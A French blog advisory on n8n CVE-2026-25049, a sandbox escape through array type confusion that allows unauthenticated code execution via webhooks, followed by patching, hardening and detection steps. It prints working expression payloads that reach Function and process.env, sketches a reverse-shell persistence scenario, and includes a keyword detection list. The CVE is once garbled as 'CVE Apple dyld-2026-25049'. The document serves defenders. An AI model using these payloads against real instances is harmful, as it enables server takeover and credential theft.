Faille critique n8n CVE-2026-25049 : exécution de code à distance via sandbox escape

Analyse de la CVE-2026-25049, faille critique CVSS 9.4 dans n8n permettant une RCE via sandbox escape. Versions affectées, exploit technique et sécurisation.

Le 4 février 2026, la communauté DevOps a été secouée par la publication de la CVE Apple dyld-2026-25049, une vulnérabilité critique affectant n8n, l'un des outils d'automatisation de workflows les plus populaires du marché. Avec un score CVSS de 9.4, cette faille permet à un attaquant d'exécuter des commandes système arbitraires sur le serveur hébergeant n8n, simplement en envoyant une requête HTTP vers un webhook public. Aucune authentification nécessaire.

Toutes les versions antérieures à 1.123.17 et 2.5.2 sont concernées. Et le problème est d'autant plus grave que n8n est massivement déployé par des équipes DevOps, des startups et des PME qui l'utilisent pour orchestrer des centaines de workflows métier connectés à des API sensibles.

Retour technique sur cette faille, son exploitation concrète et les mesures à prendre immédiatement pour sécuriser vos instances.

Action immédiate requise : Si vous utilisez n8n en production, mettez à jour vers la version 2.5.2 ou 1.123.17 minimum. Les versions antérieures permettent une exécution de code à distance sans authentification via un simple webhook.

n8n : rappel sur l'outil et son écosystème

Avant de plonger dans la vulnérabilité, un rappel s'impose pour ceux qui ne connaissent pas encore n8n. Il s'agit d'une plateforme d'automatisation de workflows open source, souvent comparée à Zapier ou Make, mais auto-hébergeable. L'outil permet de créer des flux d'automatisation visuels en connectant des centaines de services entre eux : bases de données, API REST, messageries, outils de monitoring, services cloud.

n8n s'est imposé dans l'écosystème DevOps pour plusieurs raisons :

  • Auto-hébergement : contrairement à Zapier, vous gardez le contrôle total sur vos données et votre infrastructure
  • Extensibilité : plus de 400 intégrations natives et la possibilité de créer ses propres nodes en JavaScript
  • Expressions dynamiques : un système d'expressions puissant qui permet de manipuler les données entre les étapes d'un workflow
  • Webhooks : la capacité de déclencher des workflows via des endpoints HTTP exposés publiquement

C'est précisément cette combinaison d'expressions dynamiques et de webhooks publics qui constitue le vecteur d'attaque de la CVE-2026-25049. Les outils no-code et low-code comme n8n offrent une productivité remarquable, mais ils introduisent aussi des surfaces d'attaque que beaucoup d'équipes sous-estiment.

La vulnérabilité technique : sandbox escape par confusion de types

Le moteur d'expressions de n8n permet aux utilisateurs d'insérer du JavaScript dynamique dans les workflows, entre doubles accolades : {{ expression }}. Pour éviter que ce JavaScript arbitraire ne compromette le serveur, n8n utilise un sandbox d'exécution qui restreint l'accès aux objets et propriétés dangereux.

Le mécanisme de sécurité central repose sur une fonction de filtrage appelée isSafeObjectProperty() :

// Fonction de sanitisation dans n8n (version vulnérable)
export function isSafeObjectProperty(property: string) {
    return !unsafeObjectProperties.has(property);
}

// La liste noire bloque les propriétés dangereuses
const unsafeObjectProperties = new Set([
    '__proto__',
    'constructor',
    'prototype',
    'toString',
    // ... autres propriétés sensibles
]);

En théorie, cette approche semble solide : toute tentative d'accéder à __proto__ ou constructor est bloquée. Mais le problème réside dans un décalage fondamental entre TypeScript et JavaScript.

Le piège TypeScript vs JavaScript

La signature TypeScript de la fonction déclare que le paramètre property est de type string. À la compilation, TypeScript garantit que seules des chaînes de caractères peuvent être passées. Mais TypeScript n'existe qu'au moment de la compilation. Au runtime, c'est du JavaScript pur qui s'exécute, et JavaScript n'a aucun système de types à l'exécution.

Un attaquant peut donc passer un tableau au lieu d'une chaîne de caractères. La méthode Set.has() utilise une comparaison stricte (===), ce qui signifie que ["__proto__"] (un tableau) ne sera jamais égal à "__proto__" (une chaîne). Le filtrage est contourné.

// Démonstration du contournement
// La liste noire bloque la chaîne "__proto__"
unsafeObjectProperties.has("__proto__");      // true - bloqué
unsafeObjectProperties.has(["__proto__"]);    // false - contourné !

// JavaScript convertit ensuite le tableau en chaîne
// lors de l'accès à la propriété de l'objet
const obj = {};
obj[["__proto__"]];  // Équivalent à obj["__proto__"] à l'exécution

C'est la clé de l'exploit : JavaScript effectue une coercion de type implicite lors de l'accès aux propriétés d'un objet. Le tableau ["__proto__"] est automatiquement converti en la chaîne "__proto__" par le moteur JavaScript. Le filtrage est contourné, mais l'accès à la propriété dangereuse fonctionne parfaitement.

De la théorie à l'exploitation : RCE en une requête

En combinant cette confusion de types avec la notation par crochets de JavaScript, un attaquant peut construire des expressions qui échappent complètement au sandbox et accèdent aux primitives système de Node.js.

Étape 1 : pollution de prototype

La première étape consiste à vérifier que le contournement fonctionne en accédant à __proto__ via un tableau :

// Expression n8n injectée via un webhook
{{ {}[["__proto__"]].polluted = 23 }}

// Le sandbox ne bloque pas ["__proto__"] (tableau)
// mais JavaScript résout l'accès comme __proto__ (chaîne)

Étape 2 : accès au constructeur Function

L'attaquant remonte ensuite la chaîne de prototypes pour atteindre le constructeur Function, qui permet d'exécuter du code JavaScript arbitraire :

// Accès au constructeur Function via toString
{{ {}[["toString"]][["constructor"]]("p","return p.env")(process) }}

// Décomposition :
// 1. {}[["toString"]]       → accède à Object.prototype.toString
// 2. [["constructor"]]      → accède à Function (constructeur de toString)
// 3. ("p","return p.env")   → crée une nouvelle fonction
// 4. (process)              → l'exécute avec l'objet process de Node.js

Étape 3 : exécution de commandes système

Une fois l'accès à l'objet process obtenu, l'attaquant utilise process.binding('spawn_sync') pour invoquer directement les fonctions système de création de processus, contournant les restrictions du module child_process de Node.js :

# L'attaquant envoie simplement une requête HTTP au webhook
curl -X POST https://n8n-vulnerable.example.com/webhook/workflow-id \
  -H "Content-Type: application/json" \
  -d '{"payload": "expression malveillante"}'

# Le serveur n8n exécute la commande avec les privilèges
# du processus n8n (souvent root dans les déploiements Docker)

Le résultat est une exécution de commande complète sur le serveur. L'attaquant peut lire des fichiers, exfiltrer des variables d'environnement contenant des credentials, installer des backdoors ou pivoter vers d'autres systèmes du réseau.

Scénario d'attaque réaliste

Pour bien comprendre la gravité de cette faille, voici un scénario d'exploitation typique tel qu'il pourrait se dérouler dans une entreprise utilisant n8n :

  1. Reconnaissance : l'attaquant scanne Internet à la recherche d'instances n8n exposées (port 5678 par défaut ou détection via les headers HTTP)
  2. Identification des webhooks : les URLs de webhooks n8n suivent un pattern prévisible et certains workflows utilisent des webhooks sans authentification
  3. Injection de l'expression : une simple requête POST vers le webhook avec l'expression malveillante dans le body JSON
  4. Exfiltration : récupération des variables d'environnement (process.env) contenant les clés API, tokens de bases de données et credentials des services connectés
  5. Persistance : installation d'une backdoor (reverse shell, clé SSH, crontab) pour maintenir l'accès
  6. Mouvement latéral : utilisation des credentials exfiltrés pour accéder aux bases de données, services cloud et API tierces connectées à n8n

Le danger est amplifié par le fait que n8n stocke les credentials de tous les services connectés (bases de données, API tierces, services cloud) directement dans sa configuration. Compromettre n8n, c'est potentiellement compromettre l'ensemble de l'écosystème d'outils auquel il est connecté.

Vérifier si votre instance est vulnérable

La première étape est de déterminer la version de n8n que vous exécutez. Plusieurs méthodes selon votre type de déploiement :

# Méthode 1 : via la CLI n8n
n8n --version

# Méthode 2 : via l'API (si accessible)
curl -s https://votre-instance-n8n.com/api/v1/version

# Méthode 3 : via Docker
docker exec n8n n8n --version

# Méthode 4 : vérifier l'image Docker utilisée
docker inspect n8n | grep -i image

# Versions vulnérables :
# - Toute version < 1.123.17 (branche 1.x)
# - Toute version < 2.5.2 (branche 2.x)

Ensuite, vérifiez si des webhooks sont exposés sans authentification :

# Lister les workflows actifs avec webhooks
# Dans l'interface n8n, vérifiez :
# 1. Workflows > filtrer par "Webhook" trigger
# 2. Pour chaque workflow, vérifier le champ "Authentication"
# 3. Si "None" → le webhook est accessible sans auth

# Vérifier depuis l'extérieur si le port n8n est exposé
nmap -p 5678 votre-serveur.com

# Tester l'accessibilité d'un webhook connu
curl -I https://votre-instance-n8n.com/webhook/test

Si votre version est inférieure aux seuils indiqués et que des webhooks sont exposés, votre instance est activement exploitable depuis Internet.

Corriger et sécuriser : plan d'action immédiat

1. Mettre à jour n8n

La priorité absolue est la mise à jour. Le correctif appliqué dans les versions 1.123.17 et 2.5.2 ajoute une validation de type à l'exécution :

// Correctif appliqué dans n8n 2.5.2
export function isSafeObjectProperty(property: string) {
    // Validation runtime ajoutée - ne fait plus confiance au type TypeScript
    if (typeof property !== 'string') {
        return false;  // Rejette tout ce qui n'est pas une chaîne
    }
    return !unsafeObjectProperties.has(property);
}

Pour mettre à jour selon votre méthode de déploiement :

# Mise à jour via npm
npm update -g n8n

# Mise à jour via Docker Compose
# Dans docker-compose.yml, changer l'image :
# image: n8nio/n8n:2.5.2
docker compose pull && docker compose up -d

# Mise à jour via Docker standalone
docker pull n8nio/n8n:2.5.2
docker stop n8n
docker rm n8n
docker run -d --name n8n \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:2.5.2

# Vérification post-mise à jour
n8n --version
# Attendu : 2.5.2 ou supérieur

2. Placer n8n derrière un reverse proxy avec authentification

Même après la mise à jour, n8n ne devrait jamais être exposé directement sur Internet. Placez-le derrière un reverse proxy Nginx avec une authentification supplémentaire :

# Configuration Nginx pour n8n
server {
    listen 443 ssl http2;
    server_name n8n.votre-domaine.com;

    ssl_certificate /etc/letsencrypt/live/n8n.votre-domaine.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/n8n.votre-domaine.com/privkey.pem;

    # Authentification basique sur l'interface d'administration
    location / {
        auth_basic "n8n Admin";
        auth_basic_user_file /etc/nginx/.htpasswd-n8n;

        proxy_pass http://127.0.0.1:5678;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # WebSocket support (requis pour l'éditeur n8n)
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }

    # Webhooks : restreindre par IP ou ajouter un rate limiting
    location /webhook/ {
        # Option A : restreindre aux IPs connues
        # allow 203.0.113.0/24;
        # deny all;

        # Option B : rate limiting agressif
        limit_req zone=webhook burst=10 nodelay;

        proxy_pass http://127.0.0.1:5678;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Pour approfondir la configuration Nginx en production, consultez l'article Nginx en production : 7 optimisations qui changent tout.

3. Isoler n8n au niveau réseau

n8n ne devrait avoir accès qu'aux services dont il a réellement besoin. En environnement Docker, utilisez des réseaux dédiés :

# docker-compose.yml sécurisé pour n8n
version: '3.8'

services:
  n8n:
    image: n8nio/n8n:2.5.2
    restart: unless-stopped
    environment:
      - N8N_HOST=n8n.votre-domaine.com
      - N8N_PROTOCOL=https
      - WEBHOOK_URL=https://n8n.votre-domaine.com/
      # Désactiver l'enregistrement public
      - N8N_USER_MANAGEMENT_DISABLED=false
      # Forcer l'authentification
      - N8N_BASIC_AUTH_ACTIVE=true
      - N8N_BASIC_AUTH_USER=${N8N_USER}
      - N8N_BASIC_AUTH_PASSWORD=${N8N_PASSWORD}
    volumes:
      - n8n_data:/home/node/.n8n
    networks:
      - n8n-internal
      - proxy-network
    # Ne PAS exposer le port directement
    # ports:
    #   - "5678:5678"
    # Limiter les capabilities
    security_opt:
      - no-new-privileges:true
    # Utilisateur non-root
    user: "1000:1000"
    # Limiter les ressources
    deploy:
      resources:
        limits:
          cpus: '2.0'
          memory: 2G

networks:
  n8n-internal:
    internal: true  # Pas d'accès Internet direct
  proxy-network:
    external: true  # Réseau partagé avec Nginx

Pour les bonnes pratiques Docker en production, notamment la gestion des utilisateurs non-root et des capabilities, consultez Docker en production : les erreurs que je vois le plus souvent.

4. Auditer les workflows existants

Après la mise à jour, il est essentiel de vérifier que vos workflows n'ont pas déjà été compromis :

# Rechercher des expressions suspectes dans les workflows exportés
# Exporter tous les workflows via l'API
curl -s -H "X-N8N-API-KEY: votre-api-key" \
  https://n8n.votre-domaine.com/api/v1/workflows | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
keywords = ['__proto__', 'constructor', 'spawn_sync', 'binding', 'toString']
for wf in data.get('data', []):
    wf_str = json.dumps(wf)
    for kw in keywords:
        if kw in wf_str:
            print(f\"SUSPECT: Workflow '{wf[\"name\"]}' contient '{kw}')
"

# Vérifier les logs pour des tentatives d'exploitation
grep -rE "(spawn_sync|__proto__|constructor.*constructor)" /var/log/n8n/
journalctl -u n8n --since "2026-02-01" | grep -iE "error|exploit|spawn"

Leçons pour les équipes DevOps

Cette CVE dépasse le cas particulier de n8n. Elle met en lumière des problèmes structurels que l'on retrouve dans de nombreux outils d'automatisation déployés en production.

Le piège du « c'est juste un outil interne »

Beaucoup d'équipes déploient des outils comme n8n, GitLab CI, Jenkins ou Airflow en considérant qu'il s'agit d'outils internes ne nécessitant pas le même niveau de sécurisation qu'une application exposée au public. C'est une erreur fondamentale. Ces outils :

  • Stockent des credentials sensibles (tokens API, mots de passe de bases de données, clés SSH)
  • Disposent de privilèges élevés pour interagir avec l'infrastructure
  • Exposent souvent des endpoints publics (webhooks, API) même quand le reste de l'interface est protégé
  • Sont rarement mis à jour avec la même rigueur que les applications métier principales

Ne jamais faire confiance aux annotations de type pour la sécurité

La leçon technique principale de cette CVE est claire : les types TypeScript ne sont pas une mesure de sécurité. TypeScript est un outil de développement qui améliore la qualité du code à la compilation, mais il disparaît complètement au runtime. Toute validation de sécurité doit inclure des vérifications explicites à l'exécution :

// MAUVAIS : fait confiance au type TypeScript
function sanitize(input: string): boolean {
    return !blacklist.has(input);
}

// BON : validation runtime explicite
function sanitize(input: string): boolean {
    if (typeof input !== 'string') {
        return false;  // Rejet immédiat des types inattendus
    }
    return !blacklist.has(input);
}

Ce pattern s'applique à tout code qui traite des entrées utilisateur, que ce soit en TypeScript, Python avec les type hints, ou tout autre langage avec un système de types optionnel.

L'isolation réseau est indispensable

La défense en profondeur n'est pas une option. Même si n8n n'avait pas eu cette vulnérabilité, un outil d'automatisation avec accès à des credentials sensibles doit être :

  • Isolé dans un réseau dédié sans accès Internet direct (sauf pour les services explicitement nécessaires)
  • Placé derrière un reverse proxy avec authentification et rate limiting
  • Surveillé activement avec des alertes sur les comportements anormaux (connexions sortantes inhabituelles, accès aux fichiers système)
  • Mis à jour régulièrement avec un processus de veille CVE dédié

Pour mettre en place un pare-feu efficace sur le serveur hébergeant vos outils d'automatisation, le tutoriel UFW couvre les bases, et iptables permet un contrôle plus fin pour les configurations avancées.

Checklist de sécurisation des outils d'automatisation

En complément de la correction spécifique à n8n, voici une checklist applicable à tout outil d'automatisation déployé en production :

# Checklist sécurité - Outils d'automatisation
# ==============================================

# 1. Exposition réseau
nmap -p- votre-serveur.com          # Vérifier les ports ouverts
ss -tlnp | grep -E "5678|8080"     # Ports d'écoute de l'outil

# 2. Utilisateur d'exécution
ps aux | grep n8n                   # Ne doit PAS être root
id $(ps -o user= -p $(pgrep n8n))  # Vérifier l'utilisateur

# 3. Isolation Docker
docker inspect n8n | grep -A5 Networks  # Réseaux attachés
docker inspect n8n | grep Privileged     # Doit être false

# 4. Credentials stockés
# Vérifier que les secrets sont dans des variables d'env
# et PAS en dur dans les fichiers de configuration
grep -rn "password\|token\|key" /home/node/.n8n/

# 5. Logs et monitoring
# Vérifier que les logs sont centralisés et alertés
journalctl -u n8n --since "1 hour ago" | tail -20

Pour une checklist de sécurité plus complète applicable à tous vos serveurs Linux, consultez Checklist sécurité : 10 points à vérifier sur tout serveur Linux.

Contexte : n8n sous pression sécuritaire

La CVE-2026-25049 n'est pas un incident isolé. Le 4 février 2026, dix CVE supplémentaires ont été publiées simultanément pour n8n, révélant une surface d'attaque bien plus large que ce que beaucoup d'administrateurs imaginaient. Cette salve de Patch Tuesday rappelle un épisode similaire fin 2025, lorsqu'une faille CVSS 9.9 avait déjà permis l'exécution de code arbitraire sur des milliers d'instances exposées.

Le pattern est récurrent dans les outils open source à croissance rapide : la priorité donnée aux fonctionnalités et à l'adoption entraîne une dette de sécurité qui finit par se matérialiser sous forme de CVE critiques. Ce n'est pas propre à n8n, on observe la même dynamique avec Jenkins, Grafana ou GitLab par le passé.

Pour les équipes qui dépendent de ces outils, la stratégie est claire : ne jamais considérer un outil d'automatisation comme sûr par défaut, quelle que soit sa popularité ou sa communauté. La sécurité se construit en couches, et la confiance se vérifie régulièrement.

Conclusion

La CVE-2026-25049 illustre parfaitement pourquoi la sécurité des outils DevOps internes mérite autant d'attention que celle des applications publiques. Un outil d'automatisation comme n8n, par sa nature même, concentre des accès privilégiés à de nombreux services. Une seule faille dans son sandbox d'expressions, et c'est l'ensemble de l'infrastructure connectée qui devient accessible à un attaquant.

Les actions à retenir :

  • Mettre à jour immédiatement vers n8n 2.5.2 ou 1.123.17
  • Auditer vos webhooks et supprimer ceux qui ne nécessitent pas d'accès public
  • Isoler n8n dans un réseau dédié derrière un reverse proxy authentifié
  • Monitorer les expressions et les logs pour détecter toute tentative d'exploitation
  • Appliquer le principe du moindre privilège : n8n ne doit avoir accès qu'aux services strictement nécessaires

Et plus généralement, cette CVE est un rappel que les validations de type à la compilation ne remplacent pas les contrôles de sécurité au runtime. Quel que soit le langage, quel que soit le framework, les entrées utilisateur doivent être validées explicitement à chaque couche de l'application.

Cet article vous a plu ?

Commentaires

Morgann Riu
Morgann Riu

Expert en cybersécurité et administration Linux. J'aide les entreprises à sécuriser et optimiser leurs infrastructures critiques.

Retour au blog

Checklist Sécurité Linux

30 points essentiels pour sécuriser un serveur Linux. Recevez aussi les nouveaux tutoriels par email.

Pas de spam. Désabonnement en 1 clic.